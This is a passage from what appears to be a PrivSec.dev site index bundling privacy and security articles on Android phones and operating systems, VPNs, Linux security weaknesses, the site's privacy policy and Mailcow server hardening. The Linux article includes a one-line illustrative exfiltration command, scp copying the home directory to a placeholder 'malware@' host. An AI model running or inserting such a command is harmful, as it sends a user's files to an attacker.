eSIM, you will need to enable privileged eSIM management. With certain carriers, there will be an ePDG server defined which the operating system will connect to outside of a VPN tunnel. While unlikely, a malicious carrier can track a user by giving them a unique ePDG server.\nTurn on airplane mode. This will turn off the modem and disable all transmission to cell towers. Note that simply removing SIM cards is not enough \u0026mdash; your phone will still connect to cellular networks to permit emergency calling.\nDisable privileged eSIM management after you have disabled all of the eSIMs. With certain carriers, the eSIM management app will connect to the provisioning server to check for eSIM update, even if the eSIMs are disabled.\nWhere to Get Your Applications GrapheneOS App Store GrapheneOS\u0026rsquo;s app store is available on GitHub. It supports Android 12 and above and is capable of updating itself. The app store has standalone applications built by the GrapheneOS project such as the Auditor, Camera, and PDF Viewer. If you are looking for these applications, I highly recommend that you get them from GrapheneOS\u0026rsquo;s app store instead of the Play Store, as the apps on their store are signed by the GrapheneOS\u0026rsquo;s project own signature that Google does not have access to.\nAurora Store The Aurora Store is a proxy for the Google Play Store. It is great for privacy in the sense that it automatically gives you a disposable account to download apps, and it works on Android-based distributions that do not support Google Play Services. That being said, it lacks security features like certificate pinning and does not support Play Asset Delivery.\nMy recommendation is to stick with the Google Play Store unless your threat model calls for not logging into Google Services at all.\nF-Droid F-Droid, despite being often recommended in the privacy community, has various security deficiencies. You can read more about them here.\nI do not recommend that you use F-Droid at all unless you have no other choice to obtain certain apps. In some rare cases, there may be some apps which require the F-Droid version to work properly without Google Play Services. If you do end up using F-Droid, I highly recommend that you avoid the official F-Droid client (which is extremely outdated and targets API level 25) and use a more modern client with seamless updates such as NeoStore. You should also avoid using the official F-Droid repository as much as possible and stick to the F-Droid repositories hosted by the app developers instead.\nGitHub You can also obtain your apps directly from their GitHub repositories. In most cases, there would be a pre-built APK for you to download. You can verify the signature of the downloaded using apksigner:\nInstall Android Studio which includes apksigner. On macOS, apksigner can be found at ~/Library/Android/sdk/build-tools/\u0026lt;version\u0026gt;/apksigner. Run apksigner verify --print-certs --verbose myCoolApp.apk to verify the certificate of the apk. After you have verified the signature of the apk and installed it on your phone, there are several strategies you can use to keep the application up-to-date.\nThe first strategy is to add the atom feed of the application\u0026rsquo;s release page to an RSS Reader like ReadYou to get notified of new releases. You will still need to download and install the new releases manually. If you are confused, here is a video that could help with this process:\nThe second strategy is to use the IzzyOnDroid F-Droid repository with a modern F-Droid client like NeoStore, as mentioned above. The IzzyOnDroid repository pulls new releases from various GitHub repositories to their server, which can then be automatically downloaded and installed by NeoStore. The downside of this strategy is that not every application on GitHub is on IzzyOnDroid, and sometimes IzzyOnDroid fails to pull a new release, resulting in you not getting any updates at all.\nIt should be noted that since Android has automatic signature checking for existing applications on the system; that is, you only need to manually check the signature of the apk the first time you install an application. If you do use IzzyOnDroid to update applications, you will need to manually confirm the first update of an application to authorize the NeoStore as the installation source. After that, future updates will be seamless.\nGoogle If you are using a device with Google services, either with the stock operating system or an operating system that safely sandboxes Google Play Services like GrapheneOS, there are a number of additional changes you can make to improve your privacy.\nEnroll in the Advanced Protection Program If you have a Google account we suggest enrolling in the Advanced Protection Program. It is available at no cost to anyone with two or more hardware security keys with FIDO2 support.\nThe Advanced Protection Program provides enhanced threat monitoring and enables:\nStricter two factor authentication; e.g. that FIDO2 must be used and disallows the use of SMS OTP, TOTP and OAuth Only Google and verified third-party apps can access account data Scanning of incoming emails on Gmail accounts for phishing attempts Stricter safe browser scanning with Google Chrome Stricter recovery process for accounts with lost credentials If you use non-sandboxed Google Play Services (common on stock operating systems), the Advanced Protection Program also comes with additional benefits such as:\nNot allowing app installation outside of the Google Play Store, the OS vendor\u0026rsquo;s app store, or via adb Mandatory automatic device scanning with Play Protect Warning you about unverified applications Google Play System Updates In the past, Android security updates had to be shipped by the operating system vendor. Android has become more modular beginning with Android 10, and Google can push security updates for some system components via the privileged Play Services.\nIf you have an EOL device shipped with Android 10 or above (shipped beginning 2020), you may be better off sticking with the stock OS in the short term as opposed to running an insecure alternative operating system. This will allow you to receive some security fixes from Google, while not violating the Android security model and increasing your attack surface. You should still upgrade to a supported device as soon as possible.\nDisable Advertising ID All devices with Google Play Services installed automatically generate an advertising ID used for targeted advertising. Disable this feature to limit the data collected about you.\nOn Android distributions with Sandboxed Google Play, go to Settings → Apps → Sandboxed Google Play → Google Settings → Ads, and select Delete advertising ID.\nOn Android distributions with privileged Google Play Services (such as stock OSes), the setting may be in one of several locations:\nSettings → Google → Ads Settings → Privacy → Ads You will be given the option to either delete your advertising ID or Opt out of interest-based ads \u0026mdash; this varies between OEM distributions of Android. If presented with the option to delete the advertising ID, choosing that is preferred. If not, then make sure to opt out and reset your advertising ID.\nGoogle Messages Google is currently pushing for the adoption of RCS with end to end encryption to compete with iMessage. On certain Android devices, especially Google Pixels with stock OS, Google Messages is set as the default SMS app to provide this feature.\nIf you are on an OS with Play Services installed, I highly recommend that you use Google Messages as the SMS app to get opportunistic end to end encryption with your contacts. It works fairly well on GrapheneOS with Sandboxed Play Services, too.\nYou can disable telemetry in Google Messages by tapping the profile in the top right → Messages settings → Help Improve Messages and toggling it off. There are also some other configurations in Messages settings → RCS chats that you might want to go over, such as Show typing indicators or Send read receipts.\nIf you have trouble connecting to RCS, try disabling your VPN and the VPN killswitch first, then reconnect to RCS. Once you have connected to the server, you can re-enable your VPN and the killswitch, and it should work just fine across reboots. I am not sure what is causing this issue, but it might be related to this bug.\nGoogle Fi Google Fi provides opportunistic end‑to‑end encryption for phone calls between Fi users on Android and includes a VPN service. Fi also implements a unique privacy‑bolstering virtual carrier network (VCN) architecture on supported devices, but it is temporarily disabled.\nThis is not without its caveats:\nGoogle Fi requires Play Services and the Fi app to work properly. Without Play Services, all of the features mentioned above, along with visual voicemail, will not work. SMS messages will have random strings added at the end of each of them. The Google Fi app needs to be installed in the owner profile for SIM/eSIM activation. Google Fi Wi‑Fi calling does not work behind a VPN with the killswitch enabled in the owner profile. If you live in the United States and use the stock operating system, I highly recommend using Google Fi as your carrier to take advantage of the end to end encrypted calls and Fi VPN. People using a Pixel 4 and above will benefit the most from the VCN as mentioned.\nIf you use GrapheneOS and do not mind installing Sandboxed Play Services, Fi is still a better option than other providers thanks to Google\u0026rsquo;s general good security practices and the fact that you can enroll in the Advanced Protection Program to have much better protection for your account. Some other providers do not even have multi-factor authentication support, and most will not let you enforce FIDO2 as the authentication method.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/android/android-tips/","summary":"Android is a very secure and robust operating system out of the box. This post will be less of a \u0026ldquo;hardening guide\u0026rdquo;, but more of a non-exhaustive list of tips when it comes to buying and using Android phones.\nAndroid Devices Recommended Phones Google Pixel phones are the only devices I would recommend for purchase. Pixel phones have stronger hardware security than any other Android devices currently on the market, due to proper AVB support for third-party operating systems and Google\u0026rsquo;s custom Titan security chips acting as the Secure Element.","title":"Android Tips"},{"content":"Virtual Private Networks are a way of creating a protected and private network over the open Internet. It was originally designed to provide remote access to an internal corporate network. However, in recent years, it has also been used by commercial VPN companies to hide their clients\u0026rsquo; real IP address from third-party websites and services.\nShould I use a VPN? Yes, unless you are already using Tor. A VPN does two things: shifting the risks from your Internet Service Provider to itself and hiding your IP from a third-party service.\nVPNs cannot encrypt data outside of the connection between your device and the VPN server. VPN providers can see and modify your traffic the same way your ISP could. And there is no way to verify a VPN provider\u0026rsquo;s \u0026ldquo;no logging\u0026rdquo; policies in any way.\nHowever, they do hide your actual IP from a third-party service, provided that there are no IP leaks. They help you blend in with others and mitigate IP based tracking.\nWhat about encryption? Encryption offered by VPN providers are between your devices and their servers. It guarantees that this specific link is secure. This is a step up from using unencrypted proxies where an adversary on the network can intercept the communications between your devices and said proxies and modify them. However, encryption between your apps or browsers with the service providers are not handled by this encryption.\nIn order to keep what you actually do on the websites you visit private and secure, you must use TLS. This will keep your passwords, session tokens, and queries safe from the VPN provider. Consider enabling \u0026ldquo;HTTPS everywhere\u0026rdquo; in your browser to mitigate downgrade attacks like SSL Strip.\nShould I use encrypted DNS with a VPN? Unless your VPN provider hosts the encrypted DNS servers, no. Using DOH/DOT (or any other form of encrypted DNS) with third-party servers will simply add more entities to trust and does absolutely nothing to improve your privacy/security. Your VPN provider can still see which websites you visit based on the IP addresses and other methods. Instead of just trusting your VPN provider, you are now trusting both the VPN provider and the DNS provider.\nA common reason to recommend encrypted DNS is that it helps against DNS spoofing. However, your browser should already be checking for TLS certificates with HTTPS and warn you about it. If you are not using HTTPS, then an adversary can still just modify anything other than your DNS queries and the end result will be little different.\nNeedless to say, you shouldn\u0026rsquo;t use encrypted DNS with Tor. This would direct all of your DNS requests to a single entity and make you stand out from the rest of Tor users who would be using the exit node\u0026rsquo;s DNS configuration.\nWhat if I need anonymity? VPNs cannot provide anonymity. Your VPN provider will still see your real IP address, and often has a money trail that can be linked directly back to you. You cannot rely on \u0026ldquo;no logging\u0026rdquo; policies to protect your data. Use Tor instead.\nShould I use Tor over VPN? By using Tor over VPN, you are creating essentially adding an extra node in the beginning of the circuit. This provides zero additional benefits to you, while increasing the latency of your connection dramatically. If you wish to hide your Tor usage from your ISP or your government, consider using Tor bridges with obfuscation methods.\nWhat about VPN over Tor? By using VPN over Tor, you are adding an extra node at the end of a circuit, which is always controlled by the same entity. If you pay for the VPN using the traditional banking system, it essentially breaks the anonymity that the three hops in front of it would provide. If you pay for the VPN subscription using cash or a private cryptocurrency like Monero, your privacy is reduced to that of pseudonymity, since the VPN provider still knows the connections being made are from the same individual, they just do not know who you really are. Even if you are using a free VPN, you would still break Stream Isolation, one of Tor\u0026rsquo;s important anonymity features. There are very few use cases where it would make sense to add a VPN server at the end of the chain.\nWhat about VPN providers that provide Tor nodes? Do not use that feature. The point of using Tor is that you do not trust your VPN provider. Currently Tor only supports the TCP protocol. Through Tor, UDP (used in WebRTC for voice and video sharing, the new HTTP3/QUIC protocol, etc), ICMP and other packets will be dropped. To compensate for this, VPN providers typically will route all non-TCP packets through their VPN server (your first hop). This is the case with ProtonVPN. Additionally, like VPN over Tor, you lose control over other important Tor features like Stream Isolation. Thus, this feature should be viewed as a convenient way to access the Tor Network, not to stay anonymous. For true anonymity, use the Tor Browser Bundle, TorSocks, or a Tor gateway.\nWhen are VPNs useful? A VPN is useful in a variety of scenarios, such as:\nHiding your traffic from only your Internet Service Provider. Hiding your downloads (such as torrents) from your ISP and anti-piracy organizations. Hiding your IP from third-party websites and services, preventing IP based tracking. ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/proxies/commercial-vpn-use-cases/","summary":"Virtual Private Networks are a way of creating a protected and private network over the open Internet. It was originally designed to provide remote access to an internal corporate network. However, in recent years, it has also been used by commercial VPN companies to hide their clients\u0026rsquo; real IP address from third-party websites and services.\nShould I use a VPN? Yes, unless you are already using Tor. A VPN does two things: shifting the risks from your Internet Service Provider to itself and hiding your IP from a third-party service.","title":"Commercial VPN Use Cases"},{"content":"Android is a secure operating system that has strong app sandboxing, Verified Boot (AVB), and a robust permission control system.\nWhen you buy an Android phone, the device\u0026rsquo;s default operating system often comes with invasive integration with apps and services that are not part of the Android Open-Source Project. An example of such is Google Play Services, which has irrevocable privileges to access your files, contacts storage, call logs, SMS messages, location, camera, microphone, hardware identifiers, and so on. These apps and services increase the attack surface of your device and are the source of various privacy concerns with Android.\nThis problem could be solved by using a custom Android-based operating system that does not come with such invasive integration. Unfortunately, many custom Android-based operating systems often violate the Android security model by not supporting critical security features such as AVB, rollback protection, firmware updates, and so on. Some of them also ship userdebug builds which expose root over ADB and require more permissive SELinux policies to accommodate debugging features, resulting in a further increased attack surface and weakened security model.\nWhen choosing a custom Android-based operating system, you should make sure that it upholds the Android security model. Ideally, the custom operating system should have substantial privacy and security improvements to justify adding yet another party to trust.\nBaseline Security Verified Boot Verified Boot is an important part of the Android security model. It provides protection against evil maid attacks, malware persistence, and ensures security updates cannot be downgraded with rollback protection.\nOn Android, only your data (inside of the /data partition) is encrypted, and the operating system files are left unencrypted. Verified Boot ensures the integrity of the operating system files, thereby preventing an adversary with physical access from tampering or installing malware on the device. In the unlikely case that malware is able to exploit other parts of the system and gain higher privileged access, Verified Boot will prevent and revert changes to the system partition upon rebooting the device.\nUnfortunately, OEMs are only obliged to support Verified Boot on their stock Android distribution. Only a few OEMs such as Google support custom AVB key enrollment on their devices. Additionally, some AOSP derivatives such as LineageOS or /e/ OS do not support Verified Boot even on hardware with Verified Boot support for third-party operating systems. In most cases, trading off verified boot for simply not having Play Services is not worth it.\nFirmware Updates Firmware updates are critical for maintaining security and without them your device cannot be secure. OEMs have support agreements with their partners to provide the closed-source components for a limited support period. These are detailed in the monthly Android Security Bulletins.\nOn a custom Android distribution, it is the responsibility of the operating system vendor to extract the firmware from the stock operating system, test it against their Android builds, then ship them to the user.\nUnfortunately, many custom Android distributions, including extremely popular ones like LineageOS and /e/ OS do not ship firmware updates for most of their supported device. Instead, they expect the user to keep track of stock OS updates, extract and flash the firmware themselves. Beyond the lack of testing, this is extremely burdensome and not feasible for most end users and is yet another reason to not use these distributions.\nPatch Levels As the Android Security Bulletins is updated every month, Android-Based operating systems are expected to apply all security fixes before the next bulletin update comes out. Beside extracting the firmware, testing it and shipping it to the end user as described above, the AOSP based system also need to be updated.\nThis is a particularly challenging thing to do, especially around the time of a new major Android release since there are a lot of changes. Sometimes, newer firmware versions require newer major versions of AOSP, and if the developer takes too long to update their base operating system to the next major AOSP version, they cannot ship firmware updates either, leaving users vulnerable.\nThis has happened to CalyxOS during the Android 11 to Android 12 transition. It took them 4 months to update to Android 12; and during those 4 months, they could not ship any firmware updates at all, leaving the user vulnerable during that time period.\nIt would be much better if you just stick to the stock operating system (which got updated to Android 12 shortly after the AOSP 12 release) instead of using a custom operating system which could not keep up with updates as described.\nChromium Webview Updates Android comes with a system webview, a component that many apps rely on to use as part of their activity layout. It effectively behaves like a minimal browser, opening random websites with arbitrary code the internet. Thus, it is very important that this component is consistently kept up to date.\nSome Android-based operating systems, including ones like CalyxOS, often fall behind on security updates for this component. Particularly, this has gotten so bad that they actually fell behind for 3 months back in January 2022 and 2 months in June 2022. It is a good indication that these operating systems cannot keep up with security updates and should not be used.\nUser Builds As mentioned above, userdebug builds expose root over ADB and require more permissive SELinux policies to accommodate debugging features. They violate the Android security model and are really only meant for developers to test out their android builds during development.\nEnd users should be using the production user builds. Distributions which do not ship user builds like LineageOS or /e/ OS should be avoided, especially if your device has not reached end of life.\nSELinux in Enforcing Mode SELinux is a critical part of the Android security model, having the Linux kernel enforcing confinement for all processes, including system processes running as root.\nIn order for a system to be secure, it must have SELinux in Enforcing mode, accompanied by fine-grained SELinux policies.\nUnfortunately, many custom Android-based operating system builds (especially unofficial LineageOS builds) disables SELinux or set it into Permissive mode. You can check whether SELinux is in enforcing mode or not by executing getenforce in the ADB shell (the expected output is Enforcing). You should avoid any Android-based operating system builds that do not have SELinux in enforcing mode at all cost.\nRecommended Android-Based Operating Systems Currently, I am only aware of two Android-based operating systems that should be used over the stock operating systems:\nGrapheneOS GrapheneOS is the only custom Android-based operating system you should buy a new phone for. It provides additional security hardening and privacy improvements over the stock operating system from Google. It has a hardened memory allocator, network and sensor permissions, and various other security feature. GrapheneOS also comes with full firmware updates and signed builds, so verified boot is fully supported. Here is a quick video demonstrating the network and sensors permissions:\nFor usability purposes, GrapheneOS supports Sandboxed Google Play, which runs Google Play Services fully sandboxed like any other regular app. This means you can take advantage of most Google Play Services, such as push notifications, while giving you full control over their permissions and access, and while containing them to a specific work profile or user profile of your choice. Most interestingly, the In-app Billing API, Google Play Games, Play Asset Delivery, FIDO2 all work exceptionally well. Most Advanced Protection Program features, except for Play Protect and restricted app installation, also work.\nBecause GrapheneOS does not grant any Google Apps and Services apart from the opt-in eSIM action app privileged access to the system, Play Protect cannot disable or uninstall known malicious applications when it detects them. As for restricted app installation, this feature is not that useful on stock operating system anyways, since it is bypassable with adb push.\nRecently, GrapheneOS has also added the Storage Scopes feature, allowing you to force apps that request broad storage access permission to function with scoped storage. With this new feature, you no longer have to grant certain apps access to all of your media or files to use them anymore. You can watch a video of Storage Scope in action here:\nCurrently, Google Pixel phones are the only devices that meet GrapheneOS\u0026rsquo;s hardware security requirements.\nDivestOS DivestOS is a great aftermarket operating system for devices that have gone end-of-life or are near end-of-life. Note that this is a harm reduction project, ran by one developer on the best effort basis, and you should not buy a new device just to run DivestOS.\nBeing a soft-fork of LineageOS, DivestOS inherits many supported devices from LineageOS. It has signed builds, making it possible to have verified boot on some non-Pixel devices. Unlike its upstream, it does ship user builds.\nIt comes with substantial hardening over AOSP. DivestOS has automated kernel vulnerability (CVE) patching, fewer proprietary blobs, a custom hosts file, and various security features ported from GrapheneOS. A non-exhaustive list of this includes:\nA hardened webview. Mulch comes with some patches from GrapheneOS\u0026rsquo;s Vanadium browser and the Bromite project. It gets updated fairly quickly and does not fall behind nearly as much as Bromite did. Kernel patches from GrapheneOS and enables all available kernel security features via defconfig hardening. All kernels newer than version 3.4 include full page sanitization and all ~22 Clang-compiled kernels have -ftrivial-auto-var-init=zero enabled. GrapheneOS\u0026rsquo;s INTERNET and SENSORS permission toggle. Hardened memory allocator Secure Exec-Spawning Partial bionic hardening patchsets from GrapheneOS GrapheneOS\u0026rsquo;s per-network full MAC randomization option on version 17.1 and higher Automatic reboot/Wi-Fi/Bluetooth timeout options With that being said, DivestOS is not without its faults. The developer does not have all of the devices he is building for, and for a lot of them he simply publishes the builds blind without actually testing them. Firmware update support varies across devices. DivestOS also takes a very long time to update to a new major Android, and actually took longer than CalyxOS did as mentioned above. It does not tend to fall behind on Chromium updates like CalyxOS, however.\nAlso, please note that I am only recommending DivestOS here, and not any of its related apps. For instance, I would not recommend using Mull, since it is just a Firefox Android fork with better defaults and still inherits many security deficiencies from its upstream, including the lack of support for site isolation and isolatedProcess.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/android/choosing-your-android-based-operating-system/","summary":"Android is a secure operating system that has strong app sandboxing, Verified Boot (AVB), and a robust permission control system.\nWhen you buy an Android phone, the device\u0026rsquo;s default operating system often comes with invasive integration with apps and services that are not part of the Android Open-Source Project. An example of such is Google Play Services, which has irrevocable privileges to access your files, contacts storage, call logs, SMS messages, location, camera, microphone, hardware identifiers, and so on.","title":"Choosing Your Android-Based Operating System"},{"content":"The development effort of PrivSec.dev is a very personal process compared to \u0026ldquo;traditional\u0026rdquo; ways of developing a community website. Your recommendations and ideas behind it will be carefully reviewed, often resulting in critique and criticism. Know that this happens because everyone involved wants to see the best possible solution for the overall success of PrivSec.dev.\nIf however, anyone feels personally abused, threatened, or otherwise uncomfortable due to this process, that is not acceptable. If so, please contact us at contact@privsec.dev or the individual members, and they will work to resolve the issue to the best of their ability.\nAs a maintainer or collaborator of PrivSec.dev, please strive to keep things civil and focused on the technical issues involved. We are all humans, and frustration can be high on both sides of the process. Try to keep in mind the immortal words of Bill and Ted: \u0026ldquo;Be excellent to each other.\u0026rdquo;\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/code/","summary":"The development effort of PrivSec.dev is a very personal process compared to \u0026ldquo;traditional\u0026rdquo; ways of developing a community website. Your recommendations and ideas behind it will be carefully reviewed, often resulting in critique and criticism. Know that this happens because everyone involved wants to see the best possible solution for the overall success of PrivSec.dev.\nIf however, anyone feels personally abused, threatened, or otherwise uncomfortable due to this process, that is not acceptable.","title":"Code of Conflict"},{"content":"There is a common misconception among privacy communities that Linux is one of the more secure operating systems, either because it is open-source or because it is widely used in the cloud. However, this is a far cry from reality.\nThere is already a very in-depth technical blog explaining the various security weaknesses of Linux by Madaidan, Whonix\u0026rsquo;s Security Researcher. This page will attempt to address some of the questions commonly raised in reaction to his blog post. You can find the original article here.\nWhy is Linux used on servers if it is so insecure? On servers, while most of the problems referenced in the article still exist, they are somewhat less problematic.\nOn Desktop Linux, GUI applications run under your user, and thus have access to all of your files in /home. This is in contrast to how system daemons typically run on servers, where they have their own group and user. For example, NGINX will run under nginx:nginx on Red Hat distributions, or www-data:www-data on Debian based ones. Discretionary Access Control does help with filesystem access control for server processes, but is useless for desktop applications.\nAnother thing to keep in mind is that Mandatory Access Control is also somewhat effective on servers, as commonly run system daemons are confined. In contrast, on desktop, there is virtually no AppArmor profile to confine even regularly used apps like Chrome or Firefox, let alone less common ones. On SELinux systems, these apps run in the UNCONFINED SELinux domain.\nLinux servers are lighter than Desktop Linux systems by orders of magnitude, without hundreds of packages and dozens of system daemons running like X11, audio servers, printing stack, and so on. Thus, the attack surface is much smaller.\nLinux Hardening Myths There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to shore up the inherent issues with Linux.\nLack of verified boot Android, macOS, and ChromeOS have a clear distinction between the system and user installed applications. In oversimplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.\nMeanwhile, on Linux, there is no clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely /usr/bin and /usr/local/bin). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of \u0026ldquo;the system\u0026rdquo;, as said \u0026ldquo;system\u0026rdquo; is not clearly defined in the first place.\nLack of application sandboxing Operating systems like Android and ChromeOS have full system mandatory access control; that is, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.\nEven on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.\nOn Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don\u0026rsquo;t even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible.\nThis is reflected in the under utilization of the Portals API as an example. Portals is designed to be an API where apps have to prompt the user to access their files (through the File Manager) or their microphone and camera. Unfortunately, the vast majority of apps are not designed with this in mind, and expect direct access to the filesystem, pulseaudio socket or the entire /dev. As a result, Flatpak maintainers often opt to have extremely lax permissions to the point where they have to grant filesystem=home, filesystem=host, socket=pulseaudio or devices=all, otherwise apps will break and give users a bad experience.\nTo make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment.\nThe only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system.\nBut Linux is open source! Something being open source does not imply that it is inherently private, secure, or trustworthy. I recommend reading the FLOSS Security post by Rohan Kumar.\nBut there is less malware on Linux! Security by irrelevance does not work. Just because there are fewer users of your favorite operating system does not make it any safer.\nAsk yourself this: Would you ditch Windows for ReactOS because it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?\nMalware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing scp -r ~/ malware@xx.xx.xx.xx:/data. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/linux-insecurities/","summary":"There is a common misconception among privacy communities that Linux is one of the more secure operating systems, either because it is open-source or because it is widely used in the cloud. However, this is a far cry from reality.\nThere is already a very in-depth technical blog explaining the various security weaknesses of Linux by Madaidan, Whonix\u0026rsquo;s Security Researcher. This page will attempt to address some of the questions commonly raised in reaction to his blog post.","title":"Linux Insecurities"},{"content":"PrivSec.dev as a project does not collect any personal information. We do not track you using cookies, collect your fingerprints, or use any tracking scripts.\nHosting Provider We use Cloudflare for domain registration, DNS, and web hosting. We use Netlify for website previews. We do not use Netlify assets optimization, so nothing is hosted on CloudFront.\nWe do not have access to your IP addresses or activity logs. Cloudflare does keep logs of your website visits in accordance with their privacy policy.\nSoftware We use Hugo to build our website. Hugo has additional privacy settings for GDPR compliance, and we configure it to be as privacy friendly as possible.\nServices like Disqus, Instagram, and Google Analytics are disabled. We do link to Twitter, Vimeo and YouTube in our blogs, and we turn on \u0026ldquo;enableDNT\u0026rdquo; and \u0026ldquo;privacyEnhanced\u0026rdquo; for those services.\nGit Repository We use GitHub to host our repository. In order to contribute to our website or to open a GitHub discussion, you will need a GitHub account.\nFor the Privacy policy of GitHub, please check out this link.\nMatrix We use Matrix as our primary communication method. Since Matrix is a Federated protocol, the privacy of our conversation depends on that of your homeserver and the homeserver of your contact.\nYou should not have any expectation of privacy for your conversations in our public room, as anyone (be it a person or a bot) can access all of your messages and log them. Even if you \u0026ldquo;delete\u0026rdquo; your messages, it is merely a redaction request to the participating homeservers in the room, and any of them could choose to ignore said request.\nDirect or private messages with individuals are end to end encrypted by default. However, the Matrix protocol does not provide any metadata protection, and homeserver admins know who you have been talking to, how often you talk to them, and so on.\nEmail Our mail server is hosted by Tommy on his own Dedicated Server colocated in the United Kingdom. Many of us use our @privsec.dev email as an alias and forward it to another email provider. The privacy of your emails with us is the same as with any other person you communicate with using this protocol - the hosting providers can read all of your conversations with us unless you are using PGP, and even when you use PGP there is no metadata protection.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/privacy/","summary":"PrivSec.dev as a project does not collect any personal information. We do not track you using cookies, collect your fingerprints, or use any tracking scripts.\nHosting Provider We use Cloudflare for domain registration, DNS, and web hosting. We use Netlify for website previews. We do not use Netlify assets optimization, so nothing is hosted on CloudFront.\nWe do not have access to your IP addresses or activity logs. Cloudflare does keep logs of your website visits in accordance with their privacy policy.","title":"Privacy Policy"},{"content":" Mailcow is a fairly popular self-hosted mail server. If you use it, there are a few ways you can improve its security by following these steps.\nPostfix Configuration Consider disabling weak ciphers and TLS versions below 1.2 in data/conf/postfix/extra.cf:\ntls_high_cipherlist = ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256 tls_preempt_cipherlist = yes smtp_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1 smtp_tls_ciphers = high smtp_tls_mandatory_ciphers = high smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1 smtpd_tls_ciphers = high smtpd_tls_mandatory_ciphers = high NGINX Configuration These security configurations can be added/modified in data/conf/nginx/includes/site-defaults.conf.\nSSL Ciphers Consider only supporting strong ciphers:\nssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384; And prioritize ChaCha ciphers:\nssl_conf_command Options PrioritizeChaCha; HSTS Consider adding includeSubDomains; and preload; to the HSTS configuration if all of your services are using HTTPS:\nadd_header Strict-Transport-Security \u0026#34;max-age=63072000; includeSubDomains; preload\u0026#34;; X-XSS-Protection We will setup Content Security, so this header is no longer needed. In fact, it may do more harm than good. Change the setting to 0:\nadd_header X-XSS-Protection \u0026#34;0\u0026#34;; Permission Policy Mailcow does not need any special permissions to operate, except for USB which is needed to access your FIDO2 keys if you use them.\nAdd this header to deny other permissions:\nadd_header Permissions-Policy \u0026#34;accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), browsing-topics=(), camera=(), clipboard-read=(), display-capture=(), document-domain=(), encrypted-media=(), fullscreen=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), screen-wake-lock=(), serial=(), usb=(), sync-xhr=(), xr-spatial-tracking=()\u0026#34;; Content Security Policy Use the following as your Content Security Policy:\nIf you use Gravatar with SOGo add_header Content-Security-Policy \u0026#34;default-src \u0026#39;none\u0026#39;; connect-src \u0026#39;self\u0026#39; https://api.github.com https://www.gravatar.com; font-src \u0026#39;self\u0026#39; https://fonts.gstatic.com; img-src \u0026#39;self\u0026#39; data: https://www.gravatar.com; script-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39;; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39; https://fonts.googleapis.com; frame-ancestors \u0026#39;none\u0026#39;; upgrade-insecure-requests; block-all-mixed-content; base-uri \u0026#39;none\u0026#39;\u0026#34;; If you do not use Gravatar with SOGo add_header Content-Security-Policy \u0026#34;default-src \u0026#39;none\u0026#39;; connect-src \u0026#39;self\u0026#39; https://api.github.com; font-src \u0026#39;self\u0026#39; https://fonts.gstatic.com; img-src \u0026#39;self\u0026#39; data:; script-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39;; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39; https://fonts.googleapis.com; frame-ancestors \u0026#39;none\u0026#39;; upgrade-insecure-requests; block-all-mixed-content; base-uri \u0026#39;none\u0026#39;\u0026#34;; Cross-Origin Resource, Opener, and Embedder Policies Mailcow does not use any cross site scripts, or documents. Thus, you should set CORP and COOP headers to their strictest 